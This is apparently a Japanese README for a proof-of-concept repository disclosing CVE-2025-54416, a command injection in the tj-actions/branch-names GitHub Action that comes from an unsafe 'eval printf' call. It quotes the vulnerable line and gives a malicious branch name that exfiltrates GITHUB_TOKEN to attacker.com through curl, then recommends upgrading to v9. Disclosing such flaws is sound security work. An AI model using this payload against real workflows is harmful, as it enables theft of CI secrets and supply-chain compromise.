
CVE-2025-54416 tj-actions/branch-names コマンドインジェクションのPoC
このリポジトリは CVE-2025-54416 をデモンストレーションします。これは tj-actions/branch-names における重大なコマンドインジェクションの脆弱性であり、5,000以上の公開リポジトリに影響を与えます。
tj-actions/branch-names GitHub Action (バージョン <= 8.2.1) は、安全でない eval printf "%s" を使用しており、適切なサニタイズ後もコマンドインジェクションのリスクを再導入します。
# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
tj-actions/[email protected] を使用してブランチ名を抽出するブランチ名: main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
ワークフローが実行されるとき:
echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN
tj-actions/branch-names@v9 以降に更新してください。これにより、eval printf "%s" が安全な printf 呼び出しに置き換えられます。